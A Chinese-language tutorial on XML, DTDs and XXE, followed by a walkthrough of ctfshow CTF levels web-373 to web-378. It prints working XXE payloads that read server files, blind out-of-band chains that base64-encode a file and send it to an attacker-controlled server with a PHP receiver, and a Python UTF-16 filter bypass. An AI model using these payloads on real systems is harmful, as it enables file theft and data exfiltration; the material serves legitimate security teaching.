XXE漏洞讲解
一、基础概念
1、XXE
XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。
XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。
2、XML
1)基础概念
XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。
XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签 XML 被设计为具有自我描述性 XML 是 W3C 的推荐标准
XML 是不作为的
XML具有以下特点:
-
可扩展性:XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。
-
自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。
-
平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。
-
可读性:XML文档使用具有可读性的标记和缩进,易于理解和阅读。
XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。
2)组成
在 XML 中,元素(Element)、属性(Attribute)和实体(Entity)是构成 XML 文档的基本组成部分。它们的作用和特点如下:
-
元素(Element):
-
元素是 XML 文档中的基本组成单位,用于表示文档的结构和内容。
-
元素由开始标记、结束标记和内容组成。开始标记和结束标记之间的内容是元素的内容。
-
元素可以包含子元素,形成层次结构。
-
例如,在
<book>
和</book>
之间的内容就是一个元素,表示一个书籍。
-
-
属性(Attribute):
-
属性用于提供有关元素的附加信息。
-
属性必须出现在元素的开始标记中,以键值对(key-value pair)的形式表示。
-
属性的值必须使用引号括起来,可以是单引号或双引号。
-
例如,在
<book isbn="123456789">
中,isbn
是属性,123456789
是它的值。
-
-
实体(Entity):
-
实体用于表示 XML 文档中的特殊字符、常用文本片段或外部资源。
-
实体可以是内部实体(Internal Entity)或外部实体(External Entity)。
-
内部实体使用文本直接定义,外部实体引用外部文件。
-
例如,
<
表示小于号<
,>
表示大于号>
,这些都是预定义的实体。
-
3)结构
XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:
<!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档时note类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型--> ]]]> <!--文档元素--> <?xml version="1.0" encoding="ISO-8859-1"?> <note> #根元素 <to>Dave</to> #接下来4行描述根的4个子元素(to,from,head以及body) <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note> #根元素结
在上面的示例中,<note>
是起始标签,</note>
是结束标签。<to>
、<from>
、<head>
和body
是子标签,它们包含了相应的数据。
4)语法规则
XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。 XML 允许创作者定义自己的标签和自己的文档结构。
-
所有的 XML 元素都必须有一个关闭标签
-
XML 标签对大小写敏感
-
XML 必须正确嵌套
-
XML 属性值必须加引号
-
实体引用
-
在 XML 中,空格会被保留
3、PCDATA 会被解析器解析的文本
PCDATA 是 XML 中的一个术语,表示“Parsed Character Data”(解析的字符数据)。在 XML 中,PCDATA 指的是文本节点中包含的可解析字符数据,即文本内容。PCDATA 可以包含普通的文本字符,但不能包含标签或实体引用。
举例来说,考虑以下 XML 片段:
<book> <title>XML Programming</title> <author>John Doe</author> <description>XML is a markup language used for encoding structured data.</description> </book>
在这个例子中,<title>
、<author>
和 <description>
元素中的文本内容就是 PCDATA。例如,<title>
元素中的文本“XML Programming”以及 <description>
元素中的文本“XML is a markup language used for encoding structured data.” 都是 PCDATA。
4、CDATA 不会被解析器解析的文本
CDATA 是 XML 中的一个术语,表示“Character Data”(字符数据)。在 XML 中,CDATA 块是一种特殊的文本块,用于包含任意文本数据,包括标签和特殊字符,而不需要进行转义处理。
CDATA 块以 <![CDATA[
开始,以 ]]>
结束,其中包含的文本数据不会被 XML 解析器解析,而是被视为纯文本。这意味着在 CDATA 块中可以包含 XML 标签、实体引用等,而不会导致解析错误。
举例来说,考虑以下 XML 片段:
<message> <![CDATA[<p>Hello, world!</p>]]> </message>
在这个例子中,<![CDATA[<p>Hello, world!</p>]]>
是一个 CDATA 块,其中包含了一个 <p>
标签和文本内容“Hello, world!”。由于这部分文本被包含在 CDATA 块中,因此不会被 XML 解析器解析为 XML 标签,而是作为纯文本输出。
5、DTD
DTD(Document Type Definition,文档类型定义)是一种用于定义 XML 文档结构的规范。它定义了 XML 文档中元素、属性、实体等的合法结构,并且可以用于验证 XML 文档的有效性。
1)DTD的声明
在 XML 中,DTD可以以内部声明(Internal DTD)或外部声明(External DTD)的形式存在。它们的区别在于 DTD 的定义是直接包含在 XML 文档中还是保存在单独的外部文件中。
内部声明:
-
内部声明是直接在XML文档中定义的DTD。
-
DTD的声明位于XML文档的文档声明中,使用'<!DOCTYPE>'标记定义。
-
内部声明将DTD的定义与XML文档的内容结合在一起,因此DTD的定义直接出现在XML文档中。
-
内部声明的语法类似于以下实例:
<!DOCTYPE 根元素 [元素声明]> 实例: <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
外部声明:
-
外部声明将 DTD 的定义保存在单独的外部文件中。
-
在 XML 文档中使用
<!DOCTYPE>
声明来引用外部 DTD 文件,使用 SYSTEM 关键字指定 DTD 文件的位置。 -
外部声明使得 XML 文档与 DTD 的定义分离,可以在多个 XML 文档中共享和重用同一个 DTD 定义。
-
外部声明的语法类似于以下示例:
<!DOCTYPE 根元素 SYSTEM "文件名"> 实例: <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> note.dtd的内容为: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
2)实体
DTD实体
-
用于定义引用普通文本或特殊字符的快捷方式的变量
-
分为内部实体和外部实体
-
也可分为一般实体和参数实体
1、内部实体:
<!ENTITY eviltest "eviltest"> 实例: <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
2、外部实体:
-
从外部的 DTD文件中引用
-
对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
实例: <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&writer;©right;</author>
3、一般实体:
-
引用实体的方式:
&实体名
-
在DTD 中定义,在 XML 文档中引用
实例: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
4、参数实体:
-
引用实体的方式:
% 实体名
(这里面空格不能少) -
在 DTD 中定义,并且只能在 DTD 中使用
% 实体名
引用 -
只有在 DTD 文件中,参数实体的声明才能引用其他实体
-
和通用实体一样,参数实体也可以外部引用
-
在 Blind XXE 中起到了至关重要的作用
实例: <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
3)作用
-
通过 DTD,每一个 XML 文件均可携带一个有关其自身格 式的描述。
-
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来 交换数据。
-
应用程序也可使用某个标准的 DTD 来验证从外部接收到的 数据。
-
还可以使用 DTD 来验证自身的数据。
6、XXE漏洞的利用
1)有回显读取文件
<?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } ?>
抓包发送 <?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <H3rmesk1t> <ctfshow>&xxe;</ctfshow> </H3rmesk1t>
2)无回显读取文件(这个是究极重点!!!)
<?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } ?>
无回显的文件读取,要进行外带
抓包发送 <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64- encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://你的公网 ip/xxe.xml"> %remote; %send; ]>
在服务器放置 xxe.php 和 xxe.xml 两个文件
<?php $content = $_GET['1']; if(isset($content)){ file_put_contents('flag.txt','更新时 间:'.date("Y-m-d H:i:s")."\n".$content); }else{ echo 'no data input'; }
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'" > %all;
得到的内容进行base64转码即可
二、ctfshow-XXE
做题前需要知道每关的flag都放在flag这个文件里。
web-373
代码
<?php error_reporting(0); //设置错误报告级别,将错误报告关闭,即不会输出错误信息。 libxml_disable_entity_loader(false);//启用实体加载器。实体加载器是一个用于加载 XML 文档中的实体(Entity)的功能。在这里,将实体加载器启用。 $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
分析
$xmlfile = file_get_contents('php://input');
:从 PHP 输入流中获取 POST 请求发送的 XML 数据,并将其存储在 $xmlfile
变量中。
if(isset($xmlfile)){ ... }
:检查是否成功接收到 XML 数据。
$dom = new DOMDocument();
:创建一个 DOMDocument 对象,用于处理 XML 文档。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
:加载 XML 数据到 DOMDocument 对象中,并启用外部实体加载。通过设置参数 LIBXML_NOENT | LIBXML_DTDLOAD
,禁用了实体扩展,并允许加载外部 DTD。
$creds = simplexml_import_dom($dom);
:将 DOMDocument 对象转换为 SimpleXMLElement 对象,以便于简单地处理 XML 数据。
$ctfshow = $creds->ctfshow;
:从 SimpleXMLElement 对象中获取名为 ctfshow
的元素的内容。
本关代码会echo $ctfshow,所以本关是有回显的,我们就可以用有回显读取文件的方式来做。
我们通过代码可以知道本关是通过&ctfshow这个变量来输出内容的,所以我们就可以通过在ctfshow这个元素里设置我们想要查找的内容,并将其上传就可以得到我们想要的东西了。
<!DOCTYPE test [ //开始了一个DTD的声明,名字为test。 <!ENTITY dingzhen SYSTEM "file:///flag"> //定义了一个叫做dingzhen的实体,并且将该实体指向了flag文件。 ]> <xuebao> //根目录 <ctfshow>&dingzhen;</ctfshow> //子目录 </xuebao>
XML 实体声明允许在 XML 文档中引用外部实体,它们通常用于重复使用和参数化 XML 内容。
在这段代码中,DTD被用作外部实体引用。当这个DTD被引用时,实体xxs
会被展开,它的值是file:///flag
,表示要读取主机上的flag文件。
因此,如果这个 DTD 被成功引用并且 XML 解析器对实体引用进行了展开,那么将会尝试读取主机上的 flag
文件。
这也就是xxe漏洞利用的基本原理。
之后抓包即可:
web-374
代码
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
分析
我们发现这关和上一关相比没有明显的输出函数以及判断条件了。
所以传入的xml中就要完成这个功能
在做无回显读取文件的关卡前,我们需要自己创建一个服务器,因为我们需要通过服务器来上传文件。(服务器操作系统CentOS)
之后在我们创建的服务器上安装
宝塔服务器运维面板
,它可以帮助我们在服务器上安装Linux系统,帮助我们更好地进行服务器操作(当然,你要是很厉害也可以直接用代码安装,不需要宝塔的帮助)我们需要通过它来完成创建文件,上传文件等操作。具体的部署宝塔的操作啥的自己看教程。
前置事项完成后我们正式开始:
1.首先创建一个xxe.php文件,内容:
<?php file_put_contents("flag.txt", $_GET['file']) ; ?>
这段代码的意思是接收一个名为file
的GET传参,并将其写入到flag.txt
的文件中。(如果文件不存在,则会自动创建)
2.之后再创建一个xxe.xml文件,内容:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://你的服务器ip/xxe.php?file=%file;'> "> %dtd; %xxe;
这段代码定义了一个% dtd
实体,它的值是一个名为xxe
的实体的声明,而这个实体的值是一段字符串,其内容是将服务器中名为file
的参数发送到xxe.php
文件中。
%
是实体的引用,表示百分号 %
的 Unicode 字符编码,也就是% xxe
。
%dtd;
: 这行代码使用了之前定义的 %dtd
参数实体,将其展开为实际的实体声明。这样就定义了一个名为 xxe
的实体。
%xxe;
: 这行代码使用了之前定义的 xxe
实体,将其展开为实际的 HTTP 请求。这样就能得到file
参数并将其发送到xxe.php
文件中。
也就是说,这段代码的用途就是将file
参数发送到xxe.php
文件中,之后就能通过xxe.php
文件将其放入flag.txt
文件中了。
在 XML 中,实体引用的形式可以是 %(十六进制)或 %(十进制),两者都表示字符 ‘%’ 的实体引用。
使用 % 的形式,如 %dtd; 和 %xxe;,是一种特殊的实体引用,被称为参数实体引用。参数实体引用以 % 开头,后面跟着实体名称。在定义参数实体时,可以使用 % 开头的实体引用来引用其他实体。
需要注意的是,对于一般的实体引用,如 % 或 %,可以在 XML 文档中的任何位置使用,而不仅限于参数实体引用的定义中。但是,参数实体引用只能在 DTD 的定义部分使用。
总结起来,使用 % 的形式是参数实体引用的一种特殊用法,用于引用其他实体。而一般的实体引用可以使用 % 或 %,两者都表示字符 ‘%’ 的实体引用。在具体使用时,可以根据需要选择合适的实体引用形式。
(这里有一个问题,chatgpt回答说定义实体时,为了确保解析器能够正确解释 XML 结构,所以一般都在%和实体名称之间添加空格,可是我向%dtd
和%xxe
添加了空格,结果却得不到flag.txt文件了。)
3.之后抓包并构建payload:
<!DOCTYPE flag [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml"> %aaa; ]> <root>123</root>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
: 这行代码定义了一个名为 file
的参数实体,其值是通过 php://filter
将指定文件内容进行 Base64 编码后的结果。这里指定的文件是服务器上的 /flag
文件。
<!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml">
: 这行代码定义了一个名为 aaa
的参数实体,其值是我们服务器中创建的xxe.xml
文件。
之后通过展开%aaa
实体来访问xxe.xml
文件。
这段代码的目的就是将/flag
文件中的内容用base64编码后放入到file
实体中,这样就可以通过xxe.xml
文件将file
参数放到xxe.php
文件中,再通过xxe.php
文件将其放入到flag.txt
文件中,这样我们就得到一个名为flag.txt
的文件,里面的内容就是经过base64编码后的flag。所以我们最后再用base64解码即可得到本关的flag。
web-375
代码
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
分析
本关代码和上关类似,就多了一个正则匹配过滤,将xml和version1.0
过滤掉了。这里的version1.0指的是XML文档中的版本声明,版号为1.0。
所以本关我们要将xxe.xml
改为xxe.dtd
。
payload改为:
<!DOCTYPE flag [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.dtd"> %aaa; ]> <root>123</root>
web-376
代码
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
分析
和上关类似,就正则匹配这里多了一个/i
表示大小写不敏感匹配。
用上关的payload即可。
web-377
代码
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
分析
在原来的基础上又过滤了http
这里采用utf-16编码绕过。
前面的方式不变,发送请求时使用python进行编码后发送,python中写(pycharm中要安装requests库):
import requests url = 'ctfshow靶场的url地址' payload = ''' <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://你的服务器ip/xxe.dtd"> %remote; %send; ]> ''' payload = payload.encode('utf-16') rep = requests.post(url=url, data=payload) print(rep.text)
web-378
分析
本关给了一个登陆界面,我们随便输入账号密码来抓包看看
发现抓包后有回显,这说明本关是最基础的有回显xxe漏洞,我们根据直接构造payload即可:
<!DOCTYPE test[ <!ENTITY dingzhen SYSTEM "file:///flag"> ]> <user> <username>&dingzhen;</username> <password>123456</password> </user>